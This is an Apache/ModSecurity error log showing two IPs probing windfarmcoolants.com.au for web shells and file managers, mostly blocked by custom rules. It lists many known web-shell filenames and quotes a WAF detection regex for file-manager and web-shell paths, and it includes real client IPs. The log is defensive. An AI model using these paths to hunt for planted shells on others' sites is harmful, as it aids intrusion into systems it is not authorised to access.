[Thu Apr 09 16:12:05.262167 2026] [:error] [pid 20837:tid 20852] [client 20.215.65.153:62977] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class20.php"] [unique_id "addfVfSL71FHZkjrGzOwbgAAAY0"]
[Thu Apr 09 16:12:06.174978 2026] [:error] [pid 20837:tid 20849] [client 20.215.65.153:63001] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class20.php"] [unique_id "addfVvSL71FHZkjrGzOwcAAAAYo"]
[Thu Apr 09 16:12:06.730940 2026] [:error] [pid 24515:tid 24538] [client 20.215.65.153:64270] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class20.php"] [unique_id "addfVq1OMnvM2fMnB1NOlwAAABM"]
[Thu Apr 09 16:12:07.321807 2026] [:error] [pid 18477:tid 18498] [client 20.215.65.153:64843] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file18.php"] [unique_id "addfV8De826HlFeoLPI-ewAAAVM"]
[Thu Apr 09 16:12:07.976062 2026] [:error] [pid 18477:tid 18495] [client 20.215.65.153:64847] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file18.php"] [unique_id "addfV8De826HlFeoLPI-fgAAAVA"]
[Thu Apr 09 16:12:08.540526 2026] [:error] [pid 24515:tid 24525] [client 20.215.65.153:64236] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file18.php"] [unique_id "addfWK1OMnvM2fMnB1NOmQAAAAY"]
[Thu Apr 09 16:12:09.141564 2026] [:error] [pid 24624:tid 24637] [client 20.215.65.153:63578] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file18.php"] [unique_id "addfWe4Jn-WvK1ZBTviWkwAAAMs"]
[Thu Apr 09 16:12:09.747776 2026] [:error] [pid 24517:tid 24587] [client 20.215.65.153:64195] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vee.php"] [unique_id "addfWXboYEn2ZFM_PS9fzgAAAI0"]
[Thu Apr 09 16:12:10.308549 2026] [:error] [pid 20837:tid 20854] [client 20.215.65.153:64882] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vee.php"] [unique_id "addfWvSL71FHZkjrGzOwcgAAAY8"]
[Thu Apr 09 16:12:10.855018 2026] [:error] [pid 24515:tid 24542] [client 20.215.65.153:63014] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vee.php"] [unique_id "addfWq1OMnvM2fMnB1NOmwAAABc"]
[Thu Apr 09 16:12:11.437976 2026] [:error] [pid 24515:tid 24541] [client 20.215.65.153:64199] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vee.php"] [unique_id "addfW61OMnvM2fMnB1NOnQAAABY"]
[Thu Apr 09 16:12:11.968277 2026] [:error] [pid 24515:tid 24522] [client 20.215.65.153:63052] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cabs.php"] [unique_id "addfW61OMnvM2fMnB1NOnwAAAAM"]
[Thu Apr 09 16:12:12.480935 2026] [:error] [pid 24624:tid 24635] [client 20.215.65.153:64846] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cabs.php"] [unique_id "addfXO4Jn-WvK1ZBTviWlwAAAMk"]
[Thu Apr 09 16:12:13.120776 2026] [:error] [pid 24515:tid 24527] [client 20.215.65.153:64201] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cabs.php"] [unique_id "addfXa1OMnvM2fMnB1NOoAAAAAg"]
[Thu Apr 09 16:12:13.717369 2026] [:error] [pid 24515:tid 24523] [client 20.215.65.153:64867] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cabs.php"] [unique_id "addfXa1OMnvM2fMnB1NOowAAAAQ"]
[Thu Apr 09 16:12:14.306520 2026] [:error] [pid 18477:tid 18484] [client 20.215.65.153:64837] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "addfXsDe826HlFeoLPI-ngAAAUU"]
[Thu Apr 09 16:12:14.960446 2026] [:error] [pid 20837:tid 20848] [client 20.215.65.153:61930] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "addfXvSL71FHZkjrGzOweAAAAYk"]
[Thu Apr 09 16:12:15.529413 2026] [:error] [pid 24515:tid 24535] [client 20.215.65.153:63566] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "addfX61OMnvM2fMnB1NOpwAAABA"]
[Thu Apr 09 16:12:16.077558 2026] [:error] [pid 24517:tid 24598] [client 20.215.65.153:63091] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "addfYHboYEn2ZFM_PS9f0QAAAJg"]
[Thu Apr 09 16:12:16.683015 2026] [:error] [pid 24927:tid 24931] [client 20.215.65.153:64269] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x1da.php"] [unique_id "addfYDXObuzEuw8mNJuiXgAAAQE"]
[Thu Apr 09 16:12:17.286305 2026] [:error] [pid 18477:tid 18489] [client 20.215.65.153:64877] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x1da.php"] [unique_id "addfYcDe826HlFeoLPI-swAAAUo"]
[Thu Apr 09 16:12:17.857677 2026] [:error] [pid 24624:tid 24628] [client 20.215.65.153:64194] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x1da.php"] [unique_id "addfYe4Jn-WvK1ZBTviWnAAAAMI"]
[Thu Apr 09 16:12:18.483944 2026] [:error] [pid 18477:tid 18481] [client 20.215.65.153:64958] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x1da.php"] [unique_id "addfYsDe826HlFeoLPI-uwAAAUI"]
[Thu Apr 09 16:12:19.055873 2026] [:error] [pid 18477:tid 18501] [client 20.215.65.153:62387] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "addfY8De826HlFeoLPI-vwAAAVY"]
[Thu Apr 09 16:12:19.674156 2026] [:error] [pid 24927:tid 24936] [client 20.215.65.153:63671] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "addfYzXObuzEuw8mNJuiYAAAAQY"]
[Thu Apr 09 16:12:20.203459 2026] [:error] [pid 24624:tid 24641] [client 20.215.65.153:64896] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "addfZO4Jn-WvK1ZBTviWoQAAAM8"]
[Thu Apr 09 16:12:20.786219 2026] [:error] [pid 24624:tid 24646] [client 20.215.65.153:63629] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "addfZO4Jn-WvK1ZBTviWogAAANQ"]
[Thu Apr 09 16:12:21.179100 2026] [autoindex:error] [pid 18477:tid 18492] [client 216.24.210.6:29219] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 09 16:12:21.328711 2026] [:error] [pid 20837:tid 20863] [client 20.215.65.153:64235] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "addfZfSL71FHZkjrGzOwewAAAZg"]
[Thu Apr 09 16:12:21.849912 2026] [:error] [pid 20837:tid 20852] [client 20.215.65.153:63617] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "addfZfSL71FHZkjrGzOwfQAAAY0"]
[Thu Apr 09 16:12:22.396912 2026] [:error] [pid 18477:tid 18501] [client 20.215.65.153:62364] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "addfZsDe826HlFeoLPI-1AAAAVY"]
[Thu Apr 09 16:12:22.935381 2026] [:error] [pid 24517:tid 24589] [client 20.215.65.153:63568] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "addfZnboYEn2ZFM_PS9f0wAAAI8"]
[Thu Apr 09 17:36:19.918030 2026] [:error] [pid 20837:tid 20849] [client 188.240.71.166:43432] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Thu Apr 09 17:36:20.192564 2026] [:error] [pid 20837:tid 20856] [client 188.240.71.166:43432] File does not exist: /usr/local/apache/htdocs/suspended-page/O-Simple.php
[Thu Apr 09 17:36:20.510017 2026] [:error] [pid 20837:tid 20843] [client 188.240.71.166:43432] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Thu Apr 09 17:36:20.786161 2026] [:error] [pid 20837:tid 20850] [client 188.240.71.166:43432] File does not exist: /usr/local/apache/htdocs/suspended-page/zwso.php
[Thu Apr 09 17:36:21.091129 2026] [:error] [pid 20837:tid 20839] [client 188.240.71.166:43432] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Thu Apr 09 17:36:21.355300 2026] [:error] [pid 20837:tid 20848] [client 188.240.71.166:43432] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Thu Apr 09 17:36:21.705987 2026] [:error] [pid 20837:tid 20855] [client 188.240.71.166:43432] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Thu Apr 09 17:36:21.962281 2026] [:error] [pid 20837:tid 20853] [client 188.240.71.166:43432] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
[Thu Apr 09 17:36:22.477059 2026] [:error] [pid 20837:tid 20859] [client 188.240.71.166:43432] File does not exist: /usr/local/apache/htdocs/suspended-page/core.php
[Thu Apr 09 17:36:22.734658 2026] [:error] [pid 20837:tid 20844] [client 188.240.71.166:43432] File does not exist: /usr/local/apache/htdocs/suspended-page/robots.php
[Thu Apr 09 17:36:22.992074 2026] [:error] [pid 20837:tid 20845] [client 188.240.71.166:43432] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Thu Apr 09 17:36:23.249194 2026] [:error] [pid 20837:tid 20863] [client 188.240.71.166:43432] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Thu Apr 09 17:36:23.504648 2026] [:error] [pid 20837:tid 20857] [client 188.240.71.166:43432] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Thu Apr 09 17:36:23.762426 2026] [:error] [pid 20837:tid 20841] [client 188.240.71.166:43432] File does not exist: /usr/local/apache/htdocs/suspended-page/file5.php
[Thu Apr 09 17:36:24.019745 2026] [:error] [pid 20837:tid 20849] [client 188.240.71.166:43432] File does not exist: /usr/local/apache/htdocs/suspended-page/ahax.php
[Thu Apr 09 17:36:24.278443 2026] [:error] [pid 20837:tid 20856] [client 188.240.71.166:43432] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Thu Apr 09 17:36:24.537561 2026] [:error] [pid 20837:tid 20843] [client 188.240.71.166:43432] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Thu Apr 09 17:36:26.203304 2026] [:error] [pid 20837:tid 20843] [client 188.240.71.166:43432] File does not exist: /usr/local/apache/htdocs/suspended-page/amax.php
[Thu Apr 09 17:36:29.812156 2026] [:error] [pid 20837:tid 20862] [client 188.240.71.166:43432] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "addzHfSL71FHZkjrGzO_mgAAAZc"]
[Thu Apr 09 17:36:31.112663 2026] [:error] [pid 18477:tid 18481] [client 188.240.71.166:38754] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "addzH8De826HlFeoLPJgjgAAAUI"]
[Thu Apr 09 17:36:32.395582 2026] [:error] [pid 18477:tid 18499] [client 188.240.71.166:38862] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Thu Apr 09 17:36:33.162329 2026] [:error] [pid 18477:tid 18493] [client 188.240.71.166:38862] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "addzIcDe826HlFeoLPJgsAAAAU4"]
[Thu Apr 09 17:36:34.198603 2026] [:error] [pid 24927:tid 24951] [client 188.240.71.166:39014] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Thu Apr 09 17:36:34.454503 2026] [:error] [pid 24927:tid 24952] [client 188.240.71.166:39014] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "addzIjXObuzEuw8mNJvRfAAAARY"]
[Thu Apr 09 17:36:35.222967 2026] [:error] [pid 18477:tid 18484] [client 188.240.71.166:39106] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
[Thu Apr 09 17:36:36.509749 2026] [:error] [pid 18477:tid 18496] [client 188.240.71.166:39106] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "addzJMDe826HlFeoLPJg2gAAAVE"]
[Thu Apr 09 17:36:37.282812 2026] [:error] [pid 24624:tid 24632] [client 188.240.71.166:39282] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "addzJe4Jn-WvK1ZBTvip0gAAAMY"]
[Thu Apr 09 17:36:37.789645 2026] [:error] [pid 24927:tid 24936] [client 188.240.71.166:39324] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "addzJTXObuzEuw8mNJvR0QAAAQY"]
[Thu Apr 09 17:36:38.301666 2026] [:error] [pid 18477:tid 18479] [client 188.240.71.166:39374] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "addzJsDe826HlFeoLPJg4QAAAUA"]
[Thu Apr 09 17:36:38.808840 2026] [:error] [pid 24517:tid 24581] [client 188.240.71.166:39422] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "addzJnboYEn2ZFM_PS9q_gAAAIc"]
[Thu Apr 09 17:36:39.315822 2026] [:error] [pid 18477:tid 18499] [client 188.240.71.166:39470] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "addzJ8De826HlFeoLPJg5wAAAVQ"]
[Thu Apr 09 17:36:40.082026 2026] [:error] [pid 24516:tid 24556] [client 188.240.71.166:39526] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "addzKNhW7vSS-UkeWCUV2QAAAEk"]
[Thu Apr 09 17:36:40.599583 2026] [:error] [pid 24515:tid 24522] [client 188.240.71.166:59424] File does not exist: /usr/local/apache/htdocs/suspended-page/inc.php
[Thu Apr 09 17:36:41.114597 2026] [:error] [pid 24515:tid 24535] [client 188.240.71.166:59424] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager.php"] [unique_id "addzKa1OMnvM2fMnB1NoFwAAABA"]
[Thu Apr 09 17:36:42.138450 2026] [:error] [pid 24515:tid 24541] [client 188.240.71.166:59518] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "addzKq1OMnvM2fMnB1NoHwAAABY"]
[Thu Apr 09 17:36:42.903708 2026] [:error] [pid 18477:tid 18497] [client 188.240.71.166:59592] [client 188.240.71.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "addzKsDe826HlFeoLPJhCQAAAVI"]
[Thu Apr 09 17:36:43.419492 2026] [:error] [pid 24515:tid 24542] [client 188.240.71.166:59638] File does not exist: /usr/local/apache/htdocs/suspended-page/function.php
